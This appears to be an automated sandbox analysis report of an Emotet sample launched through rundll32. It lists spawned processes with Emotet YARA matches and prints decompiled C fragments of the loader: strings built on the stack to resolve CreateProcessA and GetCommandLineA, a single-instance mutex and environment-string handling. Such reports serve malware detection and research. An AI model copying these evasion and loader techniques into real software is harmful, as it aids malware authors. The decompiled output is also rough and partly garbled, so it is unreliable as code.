Analysis Process: rundll32.exe PID: 6424 Parent PID: 6360

General

Start time:	16:52:05
Start date:	24/11/2021
Path:	C:\Windows\SysWOW64\rundll32.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\rundll32.exe "C:\Windows\SysWOW64\Fuigi\opvkeqtc.jnf",CjHxo
Imagebase:	0x390000
File size:	61952 bytes
MD5 hash:	D7CA562B0DB4F4DD0F03A89A1FDAD63D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Emotet_1, Description: Yara detected Emotet, Source: 00000006.00000002.256705273.0000000002806000.00000004.00000001.sdmp, Author: Joe Security
Reputation:	high

Chronological Activities

Analysis Process: rundll32.exe PID: 6436 Parent PID: 6424

General

Start time:	16:52:06
Start date:	24/11/2021
Path:	C:\Windows\SysWOW64\rundll32.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\rundll32.exe "C:\Windows\System32\Fuigi\opvkeqtc.jnf",Control_RunDLL
Imagebase:	0x390000
File size:	61952 bytes
MD5 hash:	D7CA562B0DB4F4DD0F03A89A1FDAD63D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Emotet_1, Description: Yara detected Emotet, Source: 00000007.00000002.772022098.0000000002DD4000.00000004.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_Emotet_1, Description: Yara detected Emotet, Source: 00000007.00000003.276395554.0000000002DD4000.00000004.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_Emotet_1, Description: Yara detected Emotet, Source: 00000007.00000003.506501770.0000000002DD4000.00000004.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_Emotet_1, Description: Yara detected Emotet, Source: 00000007.00000003.327953238.0000000002DD4000.00000004.00000001.sdmp, Author: Joe Security
Reputation:	high

Chronological Activities

Analysis Process: svchost.exe PID: 6532 Parent PID: 556

General

Start time:	16:52:08
Start date:	24/11/2021
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Imagebase:	0x7ff797770000
File size:	51288 bytes
MD5 hash:	32569E403279B3FD2EDB7EBD036273FA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Chronological Activities

Analysis Process: svchost.exe PID: 6864 Parent PID: 556

General

Start time:	16:52:18
Start date:	24/11/2021
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	c:\windows\system32\svchost.exe -k localservice -p -s CDPSvc
Imagebase:	0x7ff797770000
File size:	51288 bytes
MD5 hash:	32569E403279B3FD2EDB7EBD036273FA
Has elevated privileges:	true
Has administrator privileges:	false
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: svchost.exe PID: 6984 Parent PID: 556

General

Start time:	16:52:20
Start date:	24/11/2021
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	c:\windows\system32\svchost.exe -k networkservice -p -s DoSvc
Imagebase:	0x7ff797770000
File size:	51288 bytes
MD5 hash:	32569E403279B3FD2EDB7EBD036273FA
Has elevated privileges:	true
Has administrator privileges:	false
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: svchost.exe PID: 7068 Parent PID: 556

General

Start time:	16:52:21
Start date:	24/11/2021
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k NetworkService -p
Imagebase:	0x7ff797770000
File size:	51288 bytes
MD5 hash:	32569E403279B3FD2EDB7EBD036273FA
Has elevated privileges:	true
Has administrator privileges:	false
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: svchost.exe PID: 7116 Parent PID: 556

General

Start time:	16:52:21
Start date:	24/11/2021
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p
Imagebase:	0x7ff797770000
File size:	51288 bytes
MD5 hash:	32569E403279B3FD2EDB7EBD036273FA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: SgrmBroker.exe PID: 7136 Parent PID: 556

General

Start time:	16:52:21
Start date:	24/11/2021
Path:	C:\Windows\System32\SgrmBroker.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\SgrmBroker.exe
Imagebase:	0x7ff79c1f0000
File size:	163336 bytes
MD5 hash:	D3170A3F3A9626597EEE1888686E3EA6
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: svchost.exe PID: 5512 Parent PID: 556

General

Start time:	16:52:22
Start date:	24/11/2021
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	c:\windows\system32\svchost.exe -k localservicenetworkrestricted -p -s wscsvc
Imagebase:	0x7ff797770000
File size:	51288 bytes
MD5 hash:	32569E403279B3FD2EDB7EBD036273FA
Has elevated privileges:	true
Has administrator privileges:	false
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: svchost.exe PID: 4584 Parent PID: 556

General

Start time:	16:52:31
Start date:	24/11/2021
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p
Imagebase:	0x7ff797770000
File size:	51288 bytes
MD5 hash:	32569E403279B3FD2EDB7EBD036273FA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: svchost.exe PID: 4940 Parent PID: 556

General

Start time:	16:52:46
Start date:	24/11/2021
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p
Imagebase:	0x7ff797770000
File size:	51288 bytes
MD5 hash:	32569E403279B3FD2EDB7EBD036273FA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: MpCmdRun.exe PID: 6736 Parent PID: 5512

General

Start time:	16:53:22
Start date:	24/11/2021
Path:	C:\Program Files\Windows Defender\MpCmdRun.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Windows Defender\mpcmdrun.exe" -wdenable
Imagebase:	0x7ff72d900000
File size:	455656 bytes
MD5 hash:	A267555174BFA53844371226F482B86B
Has elevated privileges:	true
Has administrator privileges:	false
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: conhost.exe PID: 6740 Parent PID: 6736

General

Start time:	16:53:23
Start date:	24/11/2021
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7ecfc0000
File size:	625664 bytes
MD5 hash:	EA777DEEA782E8B4D7C7C33BBF8A4496
Has elevated privileges:	true
Has administrator privileges:	false
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: svchost.exe PID: 6188 Parent PID: 556

General

Start time:	16:54:28
Start date:	24/11/2021
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p
Imagebase:	0x7ff797770000
File size:	51288 bytes
MD5 hash:	32569E403279B3FD2EDB7EBD036273FA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: svchost.exe PID: 6896 Parent PID: 556

General

Start time:	16:54:44
Start date:	24/11/2021
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p
Imagebase:	0x7ff797770000
File size:	51288 bytes
MD5 hash:	32569E403279B3FD2EDB7EBD036273FA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Chronological Activities

Disassembly

Code Analysis

Reset < >

Analysis Process: rundll32.exe PID: 6316 Parent PID: 6288 rundll32.exeCOMMON

Executed Functions

Function 6EF4116B, Relevance: 14.1, APIs: 4, Strings: 4, Instructions: 99
libraryloaderprocessCOMMON

Download Yara Rule

C-Code - Quality: 51%

			E6EF4116B() {
				void* _v3;
				CHAR* _v8;
				_Unknown_base(*)()* _v12;
				char _v13;
				short _v15;
				intOrPtr _v19;
				intOrPtr _v23;
				char _v27;
				char _v28;
				char _v29;
				short _v31;
				intOrPtr _v35;
				intOrPtr _v39;
				char _v43;
				char _v44;
				intOrPtr _v48;
				char _v52;
				struct _PROCESS_INFORMATION _v68;
				struct _STARTUPINFOA _v136;
				struct HINSTANCE__* _t45;
				struct HINSTANCE__* _t47;
				signed char _t53;
				signed int _t54;
				signed int* _t55;
				signed int _t63;
				signed int _t65;
				signed int _t67;
				signed int _t78;

				_push(cs);
				asm("enter 0x7df0, 0xa3");
				asm("fst qword [eax-0x2f]");
				asm("loope 0x62");
				_t67 =  *((_t63 &  *(_t63 + 0x64)) - 0x74fe66af) * 0xffffffc4;
				asm("in al, dx");
				_t54 = _t65 % _t53;
				asm("loopne 0xffffffd3");
				asm("scasd");
				asm("sbb [ebp+0x2830a69e], edx");
				asm("das");
				asm("out dx, al");
				_t55 = _t54 + 1;
				asm("sbb ebx, [eax]");
				asm("adc eax, 0x7f857c52");
				asm("aad 0xf2");
				_v52 = 0x6e72656b;
				_v48 = 0x32336c65;
				asm("aam 0x65");
				asm("insb");
				_t78 = _t67 ^  *_t55;
				_v44 = 0;
				_v43 = 0x43746547;
				if(_t78 != 0) {
					_v39 = 0x616d6d6f;
					_v35 = 0x694c646e;
					_v31 = 0x656e;
					_v29 = 0x41;
					_v28 = 0;
					_v27 = 0x61657243;
					_v23 = 0x72506574;
					_v19 = 0x7365636f;
					_v15 = 0x4173;
					_v13 = 0;
					_v12 = 0;
					_v8 = 0;
				}
				asm("cld");
				 *0xc3f0a76e =  *0xc3f0a76e + 0xc3f0a76e;
				 *0xc3f0a76e =  *0xc3f0a76e + 0xc3f0a76e;
				E6EF5C640(0xc3f0a76e);
				E6EF41426( &_v136, 0, 0x44);
				E6EF41426( &_v68, 0, 0x10);
				_t26 =  &_v52; // 0x6e72656b
				_t45 = GetModuleHandleA(_t26);
				_t27 =  &_v43; // 0x43746547
				_v12 = GetProcAddress(_t45, _t27);
				_t47 = _t45;
				_t29 =  &_v27; // 0x61657243
				_v8 = GetProcAddress(_t47, _t29);
				if(CreateProcessA(0, _v12(), 0, 0, 1, 0, 0, 0,  &_v136,  &_v68) != 0) {
					 *0x6ef86060 = _v68.hProcess;
					E6EF5C650();
				}
				E6EF5C630();
				L9:
				goto L9;
			}

0x6ef4116b
0x6ef4116c
0x6ef41173
0x6ef41176
0x6ef41179
0x6ef41180
0x6ef41181
0x6ef41183
0x6ef41185
0x6ef41188
0x6ef4118e
0x6ef4118f
0x6ef41190
0x6ef41191
0x6ef41193
0x6ef4119a
0x6ef411ad
0x6ef411b4
0x6ef411b6
0x6ef411b8
0x6ef411b9
0x6ef411bb
0x6ef411bf
0x6ef411c3
0x6ef411c6
0x6ef411cd
0x6ef411d4
0x6ef411da
0x6ef411de
0x6ef411e2
0x6ef411e9
0x6ef411f0
0x6ef411f7
0x6ef411fd
0x6ef41201
0x6ef41208
0x6ef41208
0x6ef4120a
0x6ef4120b
0x6ef4120d
0x6ef4120f
0x6ef4121f
0x6ef4122f
0x6ef41237
0x6ef4123b
0x6ef41242
0x6ef4124d
0x6ef41250
0x6ef41251
0x6ef4125c
0x6ef41281
0x6ef41286
0x6ef4128b
0x6ef4128b
0x6ef41290
0x6ef41295
0x00000000

APIs

GetModuleHandleA.KERNEL32(kernel32), ref: 6EF4123B
GetProcAddress.KERNEL32(00000000,GetCommandLineCreateProcessA), ref: 6EF41247
GetProcAddress.KERNEL32(?,CreateProcessA), ref: 6EF41256
CreateProcessA.KERNELBASE(00000000,00000000,00000000,00000000,00000001,00000000,00000000,00000000,?,?,?,CreateProcessA), ref: 6EF4127C

Strings

GetCommandLineCreateProcessA, xrefs: 6EF41242, 6EF41245
kernel32, xrefs: 6EF41237, 6EF4123A
A, xrefs: 6EF411D9
sA, xrefs: 6EF411F7

Memory Dump Source

Source File: 00000002.00000002.256103349.000000006EF41000.00000080.00020000.sdmp, Offset: 6EF40000, based on PE: true

Associated: 00000002.00000002.256095225.000000006EF40000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.256113345.000000006EF42000.00000020.00020000.sdmp Download File
Associated: 00000002.00000002.256184489.000000006EF68000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.256238791.000000006EF86000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.256251788.000000006EF87000.00000008.00020000.sdmp Download File
Associated: 00000002.00000002.256286130.000000006EF9E000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.256295361.000000006EFA1000.00000002.00020000.sdmp Download File

Similarity

API ID: AddressProc$CreateHandleModuleProcess
String ID: A$GetCommandLineCreateProcessA$kernel32$sA
API String ID: 1919063930-849291149
Opcode ID: f0222bdd4e8474759555868fd43d85a5f6151fc894eda99c2911893fe7605539
Instruction ID: 090f185a323a9401256fe84d0c4e33c53540c756aec1f207d8b5cf5726688dd3
Opcode Fuzzy Hash: f0222bdd4e8474759555868fd43d85a5f6151fc894eda99c2911893fe7605539
Instruction Fuzzy Hash: 5631DCB1D14309EFEF00DFE4C955BEEBF39AB95B00F10844AE500AB281C7B54658CB99

Uniqueness

Uniqueness Score: -1.00%

Function 6EF41035, Relevance: 12.4, APIs: 4, Strings: 3, Instructions: 128
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E6EF41035(void* __eax, void* __ebx, void* __ecx, void* __edx, void* __edi, void* __esi, void* __fp0, void* _a1) {
				void* _v3;
				void* _v8;
				void* _v12;
				void* _v13;
				void* _v15;
				void* _v19;
				void* _v23;
				void* _v27;
				void* _v28;
				void* _v29;
				void* _v31;
				void* _v35;
				void* _v39;
				void* _v43;
				void* _v44;
				void* _v52;
				void* _v64;
				void* _v68;
				void* _v69;
				void* _v93;
				void* _v136;
				void* _t75;
				void* _t81;
				void* _t85;
				void* _t94;
				void* _t109;

				_t94 = __edi;
				_t85 = __edx;
				_t81 = __ecx;
				_t75 = __ebx;
				_t109 = __eax - 0xad9570c6;
			}

0x6ef41035
0x6ef41035
0x6ef41035
0x6ef41035
0x6ef41035

Strings

GetCommandLineCreateProcessA, xrefs: 6EF41242, 6EF41245
kernel32, xrefs: 6EF41237, 6EF4123A
sA, xrefs: 6EF411F7

Memory Dump Source

Source File: 00000002.00000002.256103349.000000006EF41000.00000080.00020000.sdmp, Offset: 6EF40000, based on PE: true

Associated: 00000002.00000002.256095225.000000006EF40000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.256113345.000000006EF42000.00000020.00020000.sdmp Download File
Associated: 00000002.00000002.256184489.000000006EF68000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.256238791.000000006EF86000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.256251788.000000006EF87000.00000008.00020000.sdmp Download File
Associated: 00000002.00000002.256286130.000000006EF9E000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.256295361.000000006EFA1000.00000002.00020000.sdmp Download File

Similarity

API ID:
String ID: GetCommandLineCreateProcessA$kernel32$sA
API String ID: 0-1906453927
Opcode ID: ddf5854f0e1469b28ea204b78de466b471467967c20a92bc7c11264d9d17f528
Instruction ID: d3a9b6684cbdadcab37cb3eb83dc01da8afd902120cefd87d55ac173e6d115fa
Opcode Fuzzy Hash: ddf5854f0e1469b28ea204b78de466b471467967c20a92bc7c11264d9d17f528
Instruction Fuzzy Hash: 014123B1958349EBEB10CFE4C855BEEBBB9AF95B00F008949E140AF281C3749659CB95

Uniqueness

Uniqueness Score: -1.00%

Function 6EF411A4, Relevance: 12.3, APIs: 4, Strings: 3, Instructions: 69
libraryloaderprocessCOMMON

Download Yara Rule

C-Code - Quality: 77%

			E6EF411A4() {
				void* _v3;
				CHAR* _v8;
				_Unknown_base(*)()* _v12;
				char _v13;
				short _v15;
				intOrPtr _v19;
				intOrPtr _v23;
				char _v27;
				char _v28;
				char _v29;
				short _v31;
				intOrPtr _v35;
				intOrPtr _v39;
				char _v43;
				char _v44;
				intOrPtr _v48;
				char _v52;
				struct _PROCESS_INFORMATION _v68;
				struct _STARTUPINFOA _v136;
				intOrPtr* _t29;
				struct HINSTANCE__* _t33;
				struct HINSTANCE__* _t35;
				signed int* _t40;
				signed int _t48;
				signed int _t54;

				_v52 = 0x6e72656b;
				_v48 = 0x32336c65;
				asm("aam 0x65");
				asm("insb");
				_t54 = _t48 ^  *_t40;
				_v44 = 0;
				_v43 = 0x43746547;
				if(_t54 != 0) {
					_v39 = 0x616d6d6f;
					_v35 = 0x694c646e;
					_v31 = 0x656e;
					_v29 = 0x41;
					_v28 = 0;
					_v27 = 0x61657243;
					_v23 = 0x72506574;
					_v19 = 0x7365636f;
					_v15 = 0x4173;
					_v13 = 0;
					_v12 = 0;
					_v8 = 0;
				}
				asm("cld");
				 *_t29 =  *_t29 + _t29;
				 *_t29 =  *_t29 + _t29;
				E6EF5C640(_t29);
				E6EF41426( &_v136, 0, 0x44);
				E6EF41426( &_v68, 0, 0x10);
				_t19 =  &_v52; // 0x6e72656b
				_t33 = GetModuleHandleA(_t19);
				_t20 =  &_v43; // 0x43746547
				_v12 = GetProcAddress(_t33, _t20);
				_t35 = _t33;
				_t22 =  &_v27; // 0x61657243
				_v8 = GetProcAddress(_t35, _t22);
				if(CreateProcessA(0, _v12(), 0, 0, 1, 0, 0, 0,  &_v136,  &_v68) != 0) {
					 *0x6ef86060 = _v68.hProcess;
					E6EF5C650();
				}
				E6EF5C630();
				L7:
				goto L7;
			}

0x6ef411ad
0x6ef411b4
0x6ef411b6
0x6ef411b8
0x6ef411b9
0x6ef411bb
0x6ef411bf
0x6ef411c3
0x6ef411c6
0x6ef411cd
0x6ef411d4
0x6ef411da
0x6ef411de
0x6ef411e2
0x6ef411e9
0x6ef411f0
0x6ef411f7
0x6ef411fd
0x6ef41201
0x6ef41208
0x6ef41208
0x6ef4120a
0x6ef4120b
0x6ef4120d
0x6ef4120f
0x6ef4121f
0x6ef4122f
0x6ef41237
0x6ef4123b
0x6ef41242
0x6ef4124d
0x6ef41250
0x6ef41251
0x6ef4125c
0x6ef41281
0x6ef41286
0x6ef4128b
0x6ef4128b
0x6ef41290
0x6ef41295
0x00000000

APIs

GetModuleHandleA.KERNEL32(kernel32), ref: 6EF4123B
GetProcAddress.KERNEL32(00000000,GetCommandLineCreateProcessA), ref: 6EF41247
GetProcAddress.KERNEL32(?,CreateProcessA), ref: 6EF41256
CreateProcessA.KERNELBASE(00000000,00000000,00000000,00000000,00000001,00000000,00000000,00000000,?,?,?,CreateProcessA), ref: 6EF4127C

Part of subcall function 6EF5C650: ExitProcess.KERNEL32 ref: 6EF5C657

Strings

GetCommandLineCreateProcessA, xrefs: 6EF41242, 6EF41245
kernel32, xrefs: 6EF41237, 6EF4123A
sA, xrefs: 6EF411F7

Memory Dump Source

Source File: 00000002.00000002.256103349.000000006EF41000.00000080.00020000.sdmp, Offset: 6EF40000, based on PE: true

Associated: 00000002.00000002.256095225.000000006EF40000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.256113345.000000006EF42000.00000020.00020000.sdmp Download File
Associated: 00000002.00000002.256184489.000000006EF68000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.256238791.000000006EF86000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.256251788.000000006EF87000.00000008.00020000.sdmp Download File
Associated: 00000002.00000002.256286130.000000006EF9E000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.256295361.000000006EFA1000.00000002.00020000.sdmp Download File

Similarity

API ID: AddressProcProcess$CreateExitHandleModule
String ID: GetCommandLineCreateProcessA$kernel32$sA
API String ID: 3220508843-1906453927
Opcode ID: aefea5e549130eebb894cc9949042bfd20a6db1d68a66224e876d8c3db33b42c
Instruction ID: f261d4ee226a4554eaf946dac62731a8c26c2da0cfc9d7c44df082f95852cf7e
Opcode Fuzzy Hash: aefea5e549130eebb894cc9949042bfd20a6db1d68a66224e876d8c3db33b42c
Instruction Fuzzy Hash: 582166B1D14308EBEF10DFE0C955BEEBB79AF45B04F108849E200BA285D7B45658CBA9

Uniqueness

Uniqueness Score: -1.00%

Function 6EF41167, Relevance: 12.3, APIs: 4, Strings: 3, Instructions: 67
libraryloaderprocessCOMMON

Download Yara Rule

C-Code - Quality: 96%

			E6EF41167() {
				intOrPtr* _t25;
				struct HINSTANCE__* _t29;
				struct HINSTANCE__* _t31;
				void* _t43;
				void* _t44;
				void* _t48;

				if(_t48 != 0) {
					 *((intOrPtr*)(_t43 - 0x23)) = 0x616d6d6f;
					 *((intOrPtr*)(_t43 - 0x1f)) = 0x694c646e;
					 *((short*)(_t43 - 0x1b)) = 0x656e;
					 *((char*)(_t43 - 0x19)) = 0x41;
					 *((char*)(_t43 - 0x18)) = 0;
					 *((intOrPtr*)(_t43 - 0x17)) = 0x61657243;
					 *((intOrPtr*)(_t43 - 0x13)) = 0x72506574;
					 *((intOrPtr*)(_t43 - 0xf)) = 0x7365636f;
					 *((short*)(_t43 - 0xb)) = 0x4173;
					 *((char*)(_t43 - 9)) = 0;
					 *(_t43 - 8) = 0;
					 *(_t43 - 4) = 0;
				}
				_t44 = _t43 + 1;
				asm("cld");
				 *_t25 =  *_t25 + _t25;
				 *_t25 =  *_t25 + _t25;
				E6EF5C640(_t25);
				E6EF41426(_t44 - 0x84, 0, 0x44);
				E6EF41426(_t44 - 0x40, 0, 0x10);
				_t15 = _t44 - 0x30; // 0x6e72656b
				_t29 = GetModuleHandleA(_t15);
				_t16 = _t44 - 0x27; // 0x43746547
				 *((intOrPtr*)(_t44 - 8)) = GetProcAddress(_t29, _t16);
				_t31 = _t29;
				_t18 = _t44 - 0x17; // 0x61657243
				 *((intOrPtr*)(_t44 - 4)) = GetProcAddress(_t31, _t18);
				if(CreateProcessA(0,  *((intOrPtr*)(_t44 - 8))(), 0, 0, 1, 0, 0, 0, _t44 - 0x84, _t44 - 0x40) != 0) {
					 *0x6ef86060 =  *(_t44 - 0x40);
					E6EF5C650();
				}
				E6EF5C630();
				L6:
				goto L6;
			}

0x6ef411c3
0x6ef411c6
0x6ef411cd
0x6ef411d4
0x6ef411da
0x6ef411de
0x6ef411e2
0x6ef411e9
0x6ef411f0
0x6ef411f7
0x6ef411fd
0x6ef41201
0x6ef41208
0x6ef41208
0x6ef41209
0x6ef4120a
0x6ef4120b
0x6ef4120d
0x6ef4120f
0x6ef4121f
0x6ef4122f
0x6ef41237
0x6ef4123b
0x6ef41242
0x6ef4124d
0x6ef41250
0x6ef41251
0x6ef4125c
0x6ef41281
0x6ef41286
0x6ef4128b
0x6ef4128b
0x6ef41290
0x6ef41295
0x00000000

APIs

GetModuleHandleA.KERNEL32(kernel32), ref: 6EF4123B
GetProcAddress.KERNEL32(00000000,GetCommandLineCreateProcessA), ref: 6EF41247
GetProcAddress.KERNEL32(?,CreateProcessA), ref: 6EF41256
CreateProcessA.KERNELBASE(00000000,00000000,00000000,00000000,00000001,00000000,00000000,00000000,?,?,?,CreateProcessA), ref: 6EF4127C

Strings

GetCommandLineCreateProcessA, xrefs: 6EF41242, 6EF41245
kernel32, xrefs: 6EF41237, 6EF4123A
sA, xrefs: 6EF411F7

Memory Dump Source

Source File: 00000002.00000002.256103349.000000006EF41000.00000080.00020000.sdmp, Offset: 6EF40000, based on PE: true

Associated: 00000002.00000002.256095225.000000006EF40000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.256113345.000000006EF42000.00000020.00020000.sdmp Download File
Associated: 00000002.00000002.256184489.000000006EF68000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.256238791.000000006EF86000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.256251788.000000006EF87000.00000008.00020000.sdmp Download File
Associated: 00000002.00000002.256286130.000000006EF9E000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.256295361.000000006EFA1000.00000002.00020000.sdmp Download File

Similarity

API ID: AddressProc$CreateHandleModuleProcess
String ID: GetCommandLineCreateProcessA$kernel32$sA
API String ID: 1919063930-1906453927
Opcode ID: 98e4a5990f6ae9d6ec8549ae8c5c01ab0cf32d3eed245a61e0259be5d82c723d
Instruction ID: 8fe6b86e8179c624d8217495e059555063842ac7f79488d2703c72eca875931f
Opcode Fuzzy Hash: 98e4a5990f6ae9d6ec8549ae8c5c01ab0cf32d3eed245a61e0259be5d82c723d
Instruction Fuzzy Hash: 48218CB1D04348EBEF10DFE0CC55BEEBF79AF41B00F10884AE200AA281D7B45658CBA5

Uniqueness

Uniqueness Score: -1.00%

Function 6EF41000, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 8
synchronizationCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E6EF41000() {
				long _t2;
				intOrPtr* _t4;

				CreateMutexA(0, 1, "7ce3e80173264ea19b05306b865eadf9"); // executed
				_t2 = GetLastError();
				 *_t4 =  *_t4 + _t2;
				return _t2;
			}

0x6ef4100b
0x6ef41011
0x6ef41017
0x6ef4101a

APIs

CreateMutexA.KERNELBASE(00000000,00000001,7ce3e80173264ea19b05306b865eadf9,6EF41029,6EF410E6,6EF59D3B,00000001,00000000), ref: 6EF4100B
GetLastError.KERNEL32 ref: 6EF41011

Strings

7ce3e80173264ea19b05306b865eadf9, xrefs: 6EF41000, 6EF41006

Memory Dump Source

Source File: 00000002.00000002.256103349.000000006EF41000.00000080.00020000.sdmp, Offset: 6EF40000, based on PE: true

Associated: 00000002.00000002.256095225.000000006EF40000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.256113345.000000006EF42000.00000020.00020000.sdmp Download File
Associated: 00000002.00000002.256184489.000000006EF68000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.256238791.000000006EF86000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.256251788.000000006EF87000.00000008.00020000.sdmp Download File
Associated: 00000002.00000002.256286130.000000006EF9E000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.256295361.000000006EFA1000.00000002.00020000.sdmp Download File

Similarity

API ID: CreateErrorLastMutex
String ID: 7ce3e80173264ea19b05306b865eadf9
API String ID: 1925916568-3969796594
Opcode ID: 5d788b91e2bb1216a1519db426d340ba80564962ce7fd1e51bb686a79f7b1634
Instruction ID: ad066b213ead7860aeaf5592e7fddc3156007c87f4ff7a37cb2d01a844f6e046
Opcode Fuzzy Hash: 5d788b91e2bb1216a1519db426d340ba80564962ce7fd1e51bb686a79f7b1634
Instruction Fuzzy Hash: B1C04CB0174B00DBDB405B60D849B363671ABC3702F124514B24148084D6A204408B29

Uniqueness

Uniqueness Score: -1.00%

Function 6EF6288D, Relevance: 4.6, APIs: 3, Instructions: 69
COMMON

Download Yara Rule

C-Code - Quality: 94%

			E6EF6288D(void* __ecx) {
				intOrPtr _v8;
				intOrPtr _t7;
				void* _t8;
				void* _t13;
				void* _t24;
				WCHAR* _t26;

				_t18 = __ecx;
				_push(__ecx);
				_t26 = GetEnvironmentStringsW();
				if(_t26 == 0) {
					L7:
					_t13 = 0;
				} else {
					_t17 = E6EF62856(_t26) - _t26 >> 1;
					_t7 = E6EF627A9(0, 0, _t26, E6EF62856(_t26) - _t26 >> 1, 0, 0, 0, 0);
					_v8 = _t7;
					if(_t7 == 0) {
						goto L7;
					} else {
						_t8 = E6EF5FEB1(_t18, _t7); // executed
						_t24 = _t8;
						if(_t24 == 0 || E6EF627A9(0, 0, _t26, _t17, _t24, _v8, 0, 0) == 0) {
							_t13 = 0;
						} else {
							_t13 = _t24;
							_t24 = 0;
						}
						E6EF5FEFF(_t24);
					}
				}
				if(_t26 != 0) {
					FreeEnvironmentStringsW(_t26);
				}
				return _t13;
			}

0x6ef6288d
0x6ef62892
0x6ef6289c
0x6ef628a2
0x6ef628fd
0x6ef628fd
0x6ef628a4
0x6ef628b2
0x6ef628b8
0x6ef628c0
0x6ef628c5
0x00000000
0x6ef628c7
0x6ef628c8
0x6ef628cd
0x6ef628d2
0x6ef628f2
0x6ef628ec
0x6ef628ec
0x6ef628ee
0x6ef628ee
0x6ef628f5
0x6ef628fa
0x6ef628c5
0x6ef62901
0x6ef62904
0x6ef62904
0x6ef62912

APIs

GetEnvironmentStringsW.KERNEL32 ref: 6EF62896
FreeEnvironmentStringsW.KERNEL32(00000000), ref: 6EF62904

Part of subcall function 6EF627A9: WideCharToMultiByte.KERNEL32(?,00000000,6EF6084A,00000000,00000001,6EF607E3,6EF63ABD,?,6EF6084A,?,00000000,?,6EF63834,0000FDE9,00000000,?), ref: 6EF6284B

Part of subcall function 6EF5FEB1: RtlAllocateHeap.NTDLL(00000000,6EF9E844,6EF9E824,?,6EF5C421,00000000,6EF9E844,00000000), ref: 6EF5FEE3

_free.LIBCMT ref: 6EF628F5

Memory Dump Source

Source File: 00000002.00000002.256113345.000000006EF42000.00000020.00020000.sdmp, Offset: 6EF40000, based on PE: true

Associated: 00000002.00000002.256095225.000000006EF40000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.256103349.000000006EF41000.00000080.00020000.sdmp Download File
Associated: 00000002.00000002.256184489.000000006EF68000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.256238791.000000006EF86000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.256251788.000000006EF87000.00000008.00020000.sdmp Download File
Associated: 00000002.00000002.256286130.000000006EF9E000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.256295361.000000006EFA1000.00000002.00020000.sdmp Download File

Similarity

API ID: EnvironmentStrings$AllocateByteCharFreeHeapMultiWide_free
String ID:
API String ID: 2560199156-0
